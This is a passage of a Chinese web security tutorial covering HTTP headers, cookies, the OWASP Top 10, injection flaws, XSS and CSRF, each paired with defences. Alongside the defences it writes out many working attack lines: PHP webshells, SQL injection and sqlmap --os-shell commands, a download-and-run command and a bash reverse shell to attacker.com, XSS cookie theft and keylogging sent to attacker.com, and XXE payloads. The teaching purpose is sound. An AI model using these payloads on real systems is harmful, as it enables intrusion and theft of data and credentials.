multipart/alternative替代内容(同一内容的不同格式)

1.5.3 Content-Type与请求方法的关系

不同的HTTP方法通常配合不同的Content-Type使用:

请求方法常用Content-Type
GET通常无请求体(忽略Content-Type)
POSTapplication/x-www-form-urlencoded, multipart/form-data, application/json
PUTapplication/json, application/xml
PATCHapplication/json
DELETE通常无请求体
HEAD无请求体

1.5.4 Content-Type在文件上传安全中的关键角色

文件上传功能是Web应用中最常见的功能之一,也是最容易出现安全问题的功能之一。Content-Type在文件上传安全中扮演着关键角色:

  1. MIME类型验证:服务器通常通过检查Content-Type来判断上传文件的类型。

  2. 双重验证的重要性:仅依赖Content-Type是不够的,必须同时验证文件扩展名和文件内容(魔术字节)。

  3. 绕过风险:攻击者可以通过修改请求中的Content-Type头来绕过简单的类型检查。

1.5.5 Content-Type欺骗攻击

攻击者可能通过以下方式绕过Content-Type检查:

场景1:修改Content-Type头

正常上传图片:

1
Content-Type: image/png

攻击尝试(将PHP文件伪装成图片):

1
Content-Type: image/png

实际上传的是.php文件内容:

1
<?php system($_GET['cmd']); ?>

场景2:双后缀绕过

上传文件名:shell.php.png

服务器可能:

  1. 检查Content-Type = image/png ✓
  2. 检查扩展名 = .png ✓
  3. 但某些配置错误导致.php.png被解析为PHP

防御措施

  1. 白名单策略:只允许特定的文件类型
  2. 文件内容检查:验证文件魔术字节(文件头)
  3. 文件重命名:上传后使用随机文件名
  4. 存储分离:上传目录设置为不可执行
  5. 扩展名黑名单不足:攻击者可以使用.php.jpg, .phtml等方式绕过

1.5.6 multipart/form-data详解

multipart/form-data是用于文件上传的标准Content-Type。其结构复杂但规范:

基本格式

1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

boundary是分隔符,用于区分不同的表单项。

请求体结构

1
2
3
4
5
6
7
8
9
10
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="fieldName"

fieldValue
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="example.png"
Content-Type: image/png

[二进制数据]
------WebKitFormBoundary7MA4YWxkTrZu0gW--

每个部分:

  • 以boundary开始,前面加—
  • 包含Content-Disposition头
  • 可选包含Content-Type头
  • 空行后是实际数据
  • 以boundary结束,后面加—

1.5.7 安全相关的Content-Type配置最佳实践

  1. 响应端设置

    • 为每种资源设置正确的Content-Type
    • 使用X-Content-Type-Options: nosniff防止嗅探
    • 启用CSP限制资源加载
  2. 请求端验证

    • 白名单允许的Content-Type
    • 同时验证扩展名和内容
    • 检查文件魔术字节
  3. 上传目录

    • 设置目录为不可执行
    • 使用随机文件名存储
    • 考虑使用对象存储服务

1.6 Cookie与Session机制

1.6.1 Cookie的工作原理与属性

Cookie是Web应用维护状态的主要机制之一。它由服务器通过Set-Cookie响应头设置,浏览器会自动在后续请求中携带相应的Cookie。

Cookie属性详解

Name和Value

最基本的属性:

1
Set-Cookie: session_id=abc123; Path=/

Domain

指定Cookie所属的域名:

1
Set-Cookie: preference=dark; Domain=example.com
  • 不设置Domain:Cookie只属于当前主机
  • 设置Domain:Cookie属于该域名及其子域名
  • 安全限制:不能设置为顶级域名

Path

指定Cookie生效的路径:

1
Set-Cookie: session=123; Path=/api

只有访问/api路径下的资源时才会发送此Cookie。

Expires和Max-Age

指定Cookie的过期时间:

1
2
Set-Cookie: token=abc; Expires=Wed, 01 Jan 2025 00:00:00 GMT
Set-Cookie: temp=data; Max-Age=3600
  • Expires:具体的过期时间
  • Max-Age:多少秒后过期
  • 都不设置:会话Cookie,关闭浏览器后删除

Secure

只通过HTTPS发送:

1
Set-Cookie: session=123; Secure

HttpOnly

禁止JavaScript访问:

1
Set-Cookie: session=123; HttpOnly

SameSite

防止CSRF攻击:

1
Set-Cookie: session=123; SameSite=Strict

可选值:

  • Strict:完全禁止跨站Cookie
  • Lax:导航请求(如点击链接)允许,其他不允许
  • None:不限制,但需要Secure

1.6.2 Session的工作原理

Session是服务器端存储的用户会话数据,Cookie通常用于存储Session ID:

  1. 用户首次访问,服务器创建Session,生成Session ID
  2. 服务器将Session ID通过Cookie返回客户端
  3. 后续请求,浏览器自动发送Cookie
  4. 服务器通过Session ID查找对应的会话数据
1
2
3
4
5
6
7
8
9
10
客户端                              服务器
| |
|-- GET /login -------------------> |
| | 创建Session(id=123)
|<-------- Set-Cookie: sid=123 ----- |
| |
|-- POST /login (Cookie: sid=123) -> |
| | 验证通过,更新Session
|<------------ 200 OK -------------- |
| |

Cookie安全风险

  1. 会话劫持:攻击者窃取Cookie后可以冒充用户
  2. XSS窃取:未设置HttpOnly的Cookie可被JavaScript读取
  3. CSRF攻击:未设置SameSite的Cookie会被自动发送
  4. 网络窃听:未设置Secure的Cookie可能在HTTP传输中被截获

Session安全风险

  1. Session预测:使用可预测的Session ID
  2. Session fixation:攻击者预先设置Session ID
  3. Session超时未清理:过期Session仍可使用
  4. Session存储不安全:内存或数据库被攻破

第二章 Web安全漏洞全景

2.1 Web安全概述

2.1.1 Web安全的重要性和现状

Web应用已经深入到社会的各个方面,从个人隐私数据到企业核心资产,从日常娱乐到国家基础设施,Web应用的广泛使用使其成为攻击者的主要目标。根据Verizon的《数据泄露调查报告》,Web应用攻击是导致数据泄露的主要原因之一。

Web安全的重要性体现在以下几个维度:

数据保护

Web应用通常处理大量敏感数据,包括:

  • 个人身份信息(PII)
  • 财务数据
  • 医疗记录
  • 商业机密

这些数据的泄露可能造成严重的法律后果和经济损失。

业务连续性

Web攻击可能导致:

  • 服务中断
  • 数据损毁
  • 业务逻辑被滥用
  • 经济损失和声誉损害

合规要求

各行业法规对Web安全有明确要求:

  • GDPR(通用数据保护条例)
  • PCI DSS(支付卡行业数据安全标准)
  • HIPAA(健康保险便携性和责任法案)
  • 网络安全法、数据安全法

2.1.2 OWASP Top 10简介

OWASP(开放Web应用安全项目)定期发布的Top 10是Web安全领域最具影响力的指南之一。2021年版OWASP Top 10包括:

排名漏洞类型描述
A01访问控制失效授权机制缺陷,未授权访问
A02加密失败敏感数据未加密或加密不当
A03注入SQL、NoSQL、命令注入等
A04不安全设计安全架构设计缺陷
A05安全配置错误默认配置、错误配置
A06易受攻击和过时的组件使用有漏洞的第三方组件
A07识别和身份验证失败身份认证和会话管理缺陷
A08软件和数据完整性失败供应链攻击、不安全反序列化
A09安全日志和监控失败缺乏安全事件记录和响应
A10服务器端请求伪造(SSRF)服务端发起恶意请求

2.1.3 漏洞分类的方法论

Web安全漏洞可以从多个维度进行分类:

按攻击向量分类

  • 服务端漏洞:影响服务器端代码
  • 客户端漏洞:影响用户浏览器
  • 协议漏洞:影响HTTP等协议本身

按影响类型分类

  • 信息泄露:暴露敏感数据
  • 代码执行:执行恶意代码
  • 权限提升:获取更高权限
  • 服务中断:导致服务不可用

按触发方式分类

  • 主动漏洞:需要攻击者主动触发
  • 被动漏洞:用户访问时自动触发

本文采用按漏洞类型的分类方式,覆盖注入类、跨站类、文件类、信息泄露类、服务器配置类、SSRF类、逻辑漏洞、反序列化类和第三方组件漏洞九大类。

2.2 Web安全漏洞分类体系

基于原始资料中的两篇文章,我们可以建立以下统一的分类框架:

漏洞大类概览表

序号大类包含漏洞类型严重程度常见影响
1注入类漏洞SQL注入、命令注入、LDAP注入、XXE、表达式注入、NoSQL注入高-严重数据库泄露、服务器控制
2跨站类漏洞XSS、CSRF、WebSocket劫持、点击劫持中-高会话劫持、用户数据泄露
3文件类漏洞任意文件上传/下载/读取、LFI/RFI、Zip炸弹高-严重服务器控制、敏感文件泄露
4信息泄露类漏洞错误信息泄露、源码泄露、备份文件泄露低-中为进一步攻击提供信息
5服务器配置类漏洞目录遍历、CORS配置错误、弱口令、Debug模式中-高未授权访问、配置泄露
6SSRF漏洞服务端请求伪造内网探测、云元数据访问
7逻辑漏洞越权访问、参数篡改、重放攻击、身份伪造中-高权限绕过、业务逻辑滥用
8反序列化漏洞Java反序列化、PHP反序列化严重远程代码执行
9第三方组件漏洞框架漏洞、供应链攻击高-严重取决于组件漏洞本身

第三章 注入类漏洞

注入类漏洞是Web安全中最常见且危害最严重的漏洞类型之一。当用户输入被应用程序错误地当作代码或命令的一部分执行时,就会产生注入漏洞。本章将详细介绍各种注入类漏洞的原理、利用方式和防御措施。

3.1 SQL注入(SQLi)

3.1.1 攻击原理详解

SQL注入(SQL Injection)是一种将恶意SQL语句插入到应用程序输入中,从而使数据库执行攻击者构造的语句的攻击方式。

正常查询示例(PHP + MySQL):

1
2
3
4
5
6
// 用户登录验证
$username = $_POST['username'];
$password = $_POST['password'];

$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);

攻击场景

用户提交:

  • 用户名:admin' OR '1'='1
  • 密码:anything

实际执行的SQL:

1
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'

由于1'='1永远为真,攻击者可以绕过密码验证,甚至可以用UNION获取其他表的数据。

联合查询注入示例

1
2
$id = $_GET['id'];
$sql = "SELECT * FROM products WHERE id = $id";

攻击者提交:id=1 UNION SELECT username,password FROM admin_users--

实际执行的SQL:

1
SELECT * FROM products WHERE id = 1 UNION SELECT username,password FROM admin_users--

3.1.2 注入类型分类

联合注入(Union-based SQLi)

利用UNION语句将恶意查询与原查询合并:

1
' UNION SELECT null,username,password,null FROM users--

报错注入(Error-based SQLi)

利用数据库错误信息获取数据:

1
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))--

盲注(Boolean-based Blind SQLi)

无回显,通过页面响应差异推断数据:

1
2
3
' AND 1=1 --  // 正常响应
' AND 1=2 -- // 错误响应
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a' --

时间盲注(Time-based Blind SQLi)

利用延时函数(如SLEEP())通过响应时间推断:

1
' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',SLEEP(5),0)--

堆叠查询(Stacked Queries)

在支持多语句执行的数据库中执行多条SQL:

1
'; DROP TABLE users; --

3.1.3 注入点发现方法

寻找注入点

  1. URL参数测试:在查询参数后添加', ", ), ORDER BY等测试
  2. POST数据测试:在表单数据中测试
  3. HTTP头测试:在Cookie、User-Agent等头中测试
  4. JSON数据测试:在JSON请求体中测试

检测技巧

1
2
3
4
5
6
7
8
' OR '1'='1
" OR "1"="1
' OR 1=1 --
' OR 1=1 #
' OR '1'='1' --
admin' --
admin' #
admin' OR '1'='1

3.1.4 手工注入与自动化工具

手工注入流程(以MySQL为例):

  1. 寻找注入点
  2. 判断字段数:ORDER BY 1, ORDER BY 2
  3. 确定显示位:UNION SELECT 1,2,3...
  4. 获取数据库信息:UNION SELECT 1,version(),database()...
  5. 获取表名:UNION SELECT 1,table_name,3 FROM information_schema.tables...
  6. 获取列名:UNION SELECT 1,column_name,3 FROM information_schema.columns...
  7. 提取数据:UNION SELECT 1,username,password FROM users...

sqlmap使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 基本扫描
sqlmap -u "http://target.com/product?id=1"

# POST注入
sqlmap -u "http://target.com/login" --data="username=admin&password=test"

# 自动化完整利用
sqlmap -u "http://target.com/product?id=1" --batch --dump

# 指定数据库类型
sqlmap -u "http://target.com/product?id=1" --dbms=mysql

# 读取系统文件
sqlmap -u "http://target.com/product?id=1" --file-read="/etc/passwd"

# 写入Webshell
sqlmap -u "http://target.com/product?id=1" --os-shell

3.1.5 防御措施详解

1. 使用预编译语句(Prepared Statements)

最佳防御方式,将SQL语句和数据分离:

1
2
3
4
5
6
7
// 不安全
$sql = "SELECT * FROM users WHERE username = '$username'";

// 安全 - 使用预编译
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();

2. 使用ORM框架

大多数ORM框架内置参数化查询:

1
2
3
4
5
# Django ORM
User.objects.filter(username=username, password=password)

# SQLAlchemy
db.session.query(User).filter_by(username=username)

3. 输入验证

1
2
3
4
5
// 白名单验证
$allowed_types = ['article', 'product', 'category'];
if (!in_array($type, $allowed_types)) {
die('Invalid type');
}

4. 最小权限原则

数据库账户只授予必要的权限:

1
2
3
-- 不使用root账户
GRANT SELECT, INSERT, UPDATE, DELETE ON appdb.* TO 'appuser'@'localhost';
-- 禁止DROP、TRUNCATE等危险操作

5. 错误处理

1
2
3
// 生产环境不显示数据库错误
ini_set('display_errors', 0);
error_log('Database error: ' . $e->getMessage());

6. Web应用防火墙(WAF)

使用ModSecurity等WAF检测和阻止SQL注入:

1
2
3
# ModSecurity规则示例
SecRule ARGS "@rx (\b(union|select|insert|update|delete)\b)" \
"id:1001,phase:2,deny,status:403,msg:'SQL Injection Detected'"

3.2 命令注入(RCE)

3.2.1 攻击原理

命令注入(Command Injection)发生在应用程序将用户输入拼接到系统命令中执行时。攻击者可以注入额外的系统命令,甚至获得交互式Shell。

典型不安全代码(PHP):

1
2
3
// 从URL获取ping目标主机
$host = $_GET['host'];
$output = system("ping -c 4 " . $host);

攻击示例

正常请求:?host=192.168.1.1

攻击请求:?host=192.168.1.1; cat /etc/passwd

实际执行的命令:

1
ping -c 4 192.168.1.1; cat /etc/passwd

3.2.2 常见危险函数

PHP危险函数

函数说明示例
system()执行命令并输出结果system(“ls $dir”)
exec()执行命令返回最后一行exec(“ls”, $output)
shell_exec()通过Shell执行返回完整输出shell_exec(“ls”)
passthru()执行命令并输出原始结果passthru(“cat $file”)
popen()打开进程管道popen(“ls”, “r”)
proc_open()执行命令并与进程交互proc_open($cmd, …)
backticks (``)执行Shell命令$output = \ls`;`

Python危险函数

函数模块示例
os.system()osos.system(cmd)
os.popen()osos.popen(cmd)
subprocess.call()subprocesssubprocess.call(args)
subprocess.Popen()subprocesssubprocess.Popen(args)
eval()builtinseval(code)

Java危险API

方法说明
Runtime.exec()执行系统命令
ProcessBuilder构建进程

3.2.3 命令连接符

攻击者使用各种连接符注入额外命令:

连接符说明示例
;顺序执行cmd1; cmd2
\管道,前输出给后`cmd1 \cmd2`
\\或,前失败才执行后`cmd1 \\cmd2`
&&与,前成功才执行后cmd1 && cmd2
``命令替换`cmd`
$()命令替换$(cmd)
>输出重定向cmd > file
>>追加重定向cmd >> file

实际攻击示例

1
2
3
4
5
6
7
8
9
10
11
# 查看系统文件
; cat /etc/passwd

# 下载并执行恶意脚本
| wget http://attacker.com/shell.sh -O /tmp/shell.sh && chmod +x /tmp/shell.sh && /tmp/shell.sh

# 反弹Shell
; bash -i >& /dev/tcp/attacker.com/4444 0>&1

# 写入Webshell
| echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

3.2.4 防御措施详解

1. 避免使用系统命令

优先使用API调用而非命令行:

1
2
3
4
5
// 不推荐
system("ls " . $dir);

// 推荐
$files = scandir($dir);

2. 输入白名单验证

1
2
3
4
5
6
$allowed_commands = ['ping', 'traceroute', 'nslookup'];
$cmd = $_GET['cmd'];

if (!in_array($cmd, $allowed_commands)) {
die('Invalid command');
}

3. 参数转义

如果必须使用命令,对参数进行严格转义:

1
2
3
4
5
6
7
// 使用escapeshellarg()
$host = escapeshellarg($_GET['host']);
system("ping -c 4 " . $host);

// 使用escapeshellcmd()
$file = escapeshellcmd($_GET['file']);
system("cat " . $file);

4. 使用PHP内置函数替代

1
2
3
4
5
6
7
// 不使用curl命令
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

// 不使用exec('rm')
unlink($filepath);

5. 权限控制

1
2
3
4
5
6
// 使用非特权用户运行PHP-FPM
// 配置php-fpm.conf
; user = www-data
; group = www-data

// 使用AppArmor/SELinux限制权限

3.3 LDAP注入

3.3.1 LDAP协议基础

LDAP(轻量级目录访问协议)用于访问目录服务,如Active Directory、OpenLDAP等。目录服务常用于用户认证和授权管理。

LDAP基本概念

  • DN(Distinguished Name):唯一标识条目,如cn=john,ou=users,dc=example,dc=com
  • OU(Organizational Unit):组织单元
  • CN(Common Name):通用名称
  • DC(Domain Component):域名组件

3.3.2 攻击原理

当用户输入被直接拼接到LDAP查询时,攻击者可以修改查询逻辑:

认证绕过示例(Python + ldap3):

1
2
3
4
5
6
7
8
# 不安全的代码
username = request.form['username']
password = request.form['password']

filter_str = f"(uid={username})(password={password})"
# 攻击者输入: username=admin)(!(&(uid=*
# 实际查询: (uid=admin)(!(&(uid=*)(password=*))
# 这会绕过密码检查

常见LDAP注入Payload

Payload作用说明
*通配符匹配所有条目
)(cn=*闭合并添加条件(&(cn=*)(cn=*))
)%00注释截断后续查询
(uid=*)匹配所有用户
`admin)((password=*)`OR注入绕过密码检查

3.3.3 防御措施

1. 输入转义

LDAP特殊字符需要转义:

1
2
3
4
5
6
7
8
9
10
11
12
def ldap_escape(val):
escape = {
'\\': '\\5c',
'*': '\\2a',
'(': '\\28',
')': '\\29',
'\\x00': '\\00'
}
result = ''
for c in val:
result += escape.get(c, c)
return result

2. 使用参数化查询

1
2
3
4
5
6
from ldap3 import Connection, SAFE_SYNC

conn = Connection('ldap://server', user='admin', password='pass')
conn.search('ou=users,dc=example,dc=com',
'(uid={})'.format(ldap_escape(username)),
attributes=['cn', 'mail'])

3. 最小权限原则

1
2
3
4
5
# 限制LDAP用户权限
conn.search('ou=users,dc=example,dc=com',
'(objectClass=person)',
attributes=['cn', 'mail', 'telephoneNumber'])
# 不授予管理权限

3.4 XML外部实体注入(XXE)

3.4.1 XML基础与DTD机制

XML(可扩展标记语言)是一种常用的数据格式。DTD(文档类型定义)用于定义XML文档结构。

基本XML示例

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<book>
<title>Web Security</title>
<author>John Doe</author>
</book>
</catalog>

DTD示例

1
2
3
4
5
<!DOCTYPE catalog [
<!ELEMENT book (title, author)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT author (#PCDATA)>
]>

3.4.2 攻击原理

XXE(XML External Entity)攻击利用XML解析器处理外部实体时的漏洞:

基本XXE Payload

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

服务器解析此XML时会读取/etc/passwd文件内容。

3.4.3 利用方式

1. 文件读取

1
2
3
4
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<foo>&xxe;</foo>

2. SSRF攻击

1
2
3
4
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<foo>&xxe;</foo>

3. 拒绝服务(DoS)攻击

1
2
3
4
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///dev/random">
]>
<foo>&xxe;</foo>

Billion Laughs攻击(递归实体扩展):

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>

3.4.4 防御措施

1. 禁用外部实体

1
2
3
4
5
6
7
// libxml_disable_entity_loader (PHP 8.0+ 已移除)
$previousEntityLoader = libxml_disable_entity_loader(true);

// 使用DOMDocument的安全配置
$dom = new DOMDocument();
$dom->substituteEntities = false;
$dom->loadXML($xmlString);

2. 使用安全的XML解析库

1
2
3
# Python - defusedxml
from defusedxml import ElementTree as ET
tree = ET.parse('data.xml') # 安全解析
1
2
3
4
5
// Java - 禁用DTD
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

3. 输入验证

1
2
3
<!-- 不允许DOCTYPE声明 -->
<?xml version="1.0"?>
<foo>user input here</foo>

3.5 表达式注入(EL/OGNL/Freemarker)

3.5.1 攻击原理

表达式注入发生在用户输入被当作表达式执行时。常见于模板引擎和表达式语言。

SpEL注入示例(Spring Expression Language):

1
2
3
4
5
// 不安全的代码
String expression = request.getParameter("expr");
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(expression);
Object result = exp.getValue();

攻击者输入:T(java.lang.Runtime).getRuntime().exec("calc")

3.5.2 常见表达式引擎漏洞

引擎危险Payload说明
SpELT(Runtime).getRuntime().exec('calc')Spring EL
OGNL${new ProcessBuilder('calc').start()}Struts2
MVELnew ProcessBuilder('calc').start()MVEL
Freemarker${"freemarker.template.utility.Execute"?new()("id")}Freemarker

3.5.3 防御措施

1. 永远不要将用户输入作为表达式

1
2
3
4
// 安全 - 不使用用户输入作为表达式
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello ' + #name");
exp.setVariable("name", sanitize(userInput));

2. 使用沙箱环境

1
2
3
4
// 使用SimpleEvaluationContext限制功能
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding()
.withInstanceMethodInterceptor(new SecurityInterceptor())
.build();

3.6 NoSQL注入

3.6.1 NoSQL数据库基础

NoSQL(Not Only SQL)数据库包括MongoDB、Redis、Cassandra等,与传统关系型数据库不同,它们不使用SQL作为查询语言。

MongoDB查询示例

1
2
3
4
5
// 查找用户
db.users.find({username: "admin", password: "pass123"})

// 插入文档
db.users.insertOne({username: "test", email: "test@example.com"})

3.6.2 攻击原理

MongoDB等NoSQL数据库使用JSON风格的查询,攻击者可以构造特殊查询:

认证绕过示例(Node.js + MongoDB):

1
2
3
4
5
6
7
8
9
10
// 不安全的代码
const { username, password } = req.body;
db.collection('users').findOne({
username: username,
password: password
});

// 攻击者输入: username=admin, password[$ne]=""
// 实际查询: {username: "admin", password: {$ne: ""}}
// 这会匹配密码非空的用户,而攻击者不需要知道密码

常见NoSQL注入Payload

Payload作用数据库
{"$ne": null}匹配非null值MongoDB
{"$gt": ""}匹配大于空字符串MongoDB
{"$regex": "^admin"}正则匹配MongoDB
1 OR 1=1永真条件MongoDB
[[1,2,3]]数组注入MongoDB

3.6.3 防御措施

1. 输入类型验证

1
2
3
4
5
6
7
8
9
10
// 验证输入类型
if (typeof username !== 'string') {
return res.status(400).send('Invalid input');
}

// 验证输入格式
const usernameRegex = /^[a-zA-Z0-9_]{3,20}$/;
if (!usernameRegex.test(username)) {
return res.status(400).send('Invalid username format');
}

2. 使用参数化查询

1
2
3
4
5
6
// 大多数MongoDB驱动程序自动处理
const sanitizedUsername = sanitize(username);
db.collection('users').findOne({
username: sanitizedUsername,
password: password
});

3. 最小权限原则

1
2
3
4
5
6
// 创建只读用户
db.createUser({
user: "app_user",
pwd: "secure_password",
roles: [{ role: "read", db: "app_db" }]
});

3.7 注入类漏洞汇总对比表

漏洞类型攻击目标危险操作符/字符防御重点影响程度
SQL注入数据库', ", --, UNION预编译、参数化严重
命令注入操作系统;, `,&&, `` ``避免system调用、白名单严重
LDAP注入目录服务*, (, ), \输入转义、参数化
XXEXML解析器<!ENTITY>, SYSTEM禁用外部实体
表达式注入模板引擎${}, T()禁止用户输入作为表达式高-严重
NoSQL注入NoSQL数据库$ne, $gt, $regex输入验证、类型检查中-高

第四章 跨站类漏洞

跨站类漏洞是Web安全中影响范围最广的漏洞类型之一,主要利用了Web应用对浏览器的信任。本章将详细介绍XSS、CSRF等跨站类漏洞的原理、利用方式和防御措施。

4.1 跨站脚本攻击(XSS)

4.1.1 三种类型详解

XSS(Cross-Site Scripting,跨站脚本攻击)是指攻击者在页面中注入恶意JavaScript脚本,当其他用户访问该页面时,脚本在用户浏览器中执行的攻击方式。

反射型XSS(非持久型)

恶意脚本来自当前HTTP请求,服务器将用户输入”反射”回响应中:

1
2
3
// 不安全代码
$search = $_GET['q'];
echo "<h1>Search results for: $search</h1>";

攻击者构造链接:http://site.com/search?q=<script>alert(document.cookie)</script>

当用户点击此链接时,脚本会在页面中执行。

存储型XSS(持久型)

恶意脚本被存储在服务器端(数据库、日志等),所有访问该内容的用户都会受影响:

1
2
3
4
5
6
7
8
9
// 不安全代码 - 存储用户评论
$comment = $_POST['comment'];
mysql_query("INSERT INTO comments (content) VALUES ('$comment')");

// 显示评论
$comments = mysql_query("SELECT * FROM comments");
while ($row = mysql_fetch_assoc($comments)) {
echo $row['content']; // 未转义输出
}

攻击者提交评论:<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>

所有查看该评论的用户都会执行此脚本。

DOM型XSS

恶意脚本通过修改客户端DOM环境触发,不需要服务器参与:

1
2
3
// 不安全代码
var name = new URLSearchParams(location.search).get('name');
document.write("Welcome " + name);

攻击者构造链接:http://site.com/?name=<img src=x onerror=alert(document.cookie)>

JavaScript直接操作DOM,插入恶意内容。

4.1.2 攻击原理与代码示例

Cookie窃取

1
2
3
<script>
fetch('http://attacker.com/log?cookie=' + document.cookie);
</script>

键盘记录

1
2
3
4
5
<script>
document.addEventListener('keypress', function(e) {
fetch('http://attacker.com/log?key=' + e.key);
});
</script>

钓鱼攻击

1
2
3
4
5
6
7
8
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999">
<h1>Session Expired - Please Login Again</h1>
<form action="http://attacker.com/phish">
Username: <input name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
</div>

XSS蠕虫(Samy Worm示例):

1
2
3
4
// 自动传播的XSS
var script = document.createElement('script');
script.src = 'http://attacker.com/worm.js';
document.body.appendChild(script);

4.1.3 XSS的危害

危害类型说明严重程度
会话劫持窃取Cookie/Session
凭据窃取键盘记录、钓鱼
敏感数据窃取读取页面内容
页面篡改修改页面内容
恶意软件分发植入恶意代码中-高
内网攻击利用浏览器作为代理
蠕虫传播自我复制传播严重

4.1.4 XSS绕过技巧

绕过标签过滤

1
2
3
4
5
<img src=x onerror=alert(1)>           <!-- img标签 -->
<svg onload=alert(1)> <!-- svg标签 -->
<body onload=alert(1)> <!-- body标签 -->
<video><source onerror="alert(1)"> <!-- video标签 -->
<marquee onstart=alert(1)> <!-- marquee标签 -->

绕过事件过滤

1
2
3
4
5
6
onerror       // 常用
onload
onclick
onmouseover
onfocus
onblur

绕过关键字过滤

1
2
3
4
<scr<script>ipt>alert(1)</scr</script>ipt>     <!-- 嵌套script -->
<IMG SRC=j&#97;vascript:alert('xss')> <!-- HTML实体编码 -->
<IMG SRC="jav&#x61;script:alert('xss')"> <!-- Hex编码 -->
<scRipt>alert(1)</scrIpt> <!-- 大小写混合 -->

绕过引号过滤

1
2
3
<img src=x onerror=alert`1`>                <!-- 反引号 -->
<img src=x onerror=alert(String.fromCharCode(49))> <!-- Unicode编码 -->
<div onclick="alert('1')"> <!-- HTML编码 -->

Polyglot XSS(多上下文Payload):

1
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert(1) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)//>\x3e

4.1.5 防御措施

1. 输入验证

1
2
3
// 白名单验证
$allowed_tags = '<b><i><u><a><img>';
$comment = strip_tags($user_input, $allowed_tags);

2. 输出转义

1
2
3
4
5
// HTML转义
function escapeHtml($text) {
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
echo escapeHtml($user_input);
1
2
3
4
5
6
7
// JavaScript转义
function escapeJs(str) {
return str.replace(/[\\"'`]/g, '\\$&')
.replace(/\u0000/g, '\\0')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r');
}

3. Content Security Policy(CSP)

1
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonceabc123'; object-src 'none'

4. HttpOnly Cookie

1
2
3
4
5
setcookie('session', $session_id, [
'httponly' => true,
'secure' => true,
'samesite' => 'Strict'
]);

5. X-XSS-Protection(已过时)

1
X-XSS-Protection: 1; mode=block

4.2 跨站请求伪造(CSRF)

4.2.1 攻击原理与流程

CSRF(Cross-Site Request Forgery)利用用户已登录的身份,自动发起恶意请求:

1
2
3
4
5
6
7
8
9
用户登录银行网站

攻击者诱导用户访问恶意页面

恶意页面自动发起转账请求(携带Cookie)

银行服务器以为是用户合法操作

完成转账

攻击条件

  1. 用户已登录目标站点
  2. 攻击者知道请求的参数格式
  3. 用户访问攻击者控制的页面

4.2.2 CSRF与XSS的区别

特征XSSCSRF
攻击目标用户的浏览器目标网站
攻击原理注入恶意脚本伪造用户请求
权限来源恶意脚本执行用户已登录身份
脚本位置目标页面第三方页面
数据获取可以直接读取无法读取响应

4.2.3 攻击示例

自动提交表单

1
2
3
4
5
6
7
8
9
10
11
<html>
<body>
<form action="http://bank.com/transfer" method="POST" id="csrf-form">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>

图片标签触发GET请求

1
<img src="http://example.com/delete?id=123" width="0" height="0">

4.2.4 防御措施

1. CSRF Token

1
2
3
4
5
6
7
8
9
10
// 生成Token
session_start();
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// 验证Token
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die('CSRF validation failed');
}
1
2
3
4
5
<form method="POST">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
<input type="text" name="content">
<button type="submit">Submit</button>
</form>

2. SameSite Cookie

1
2
3
setcookie('session', $session_id, [
'samesite' => 'Strict' // 或 'Lax'
]);

3. Referer/Origin验证

1
2
3
4
5
6
$referer = $_SERVER['HTTP_REFERER'];
$origin = $_SERVER['HTTP_ORIGIN'];

if (!strpos($referer, 'example.com') === 0) {
die('Invalid request origin');
}

4. 双重提交Cookie

1
2
3
4
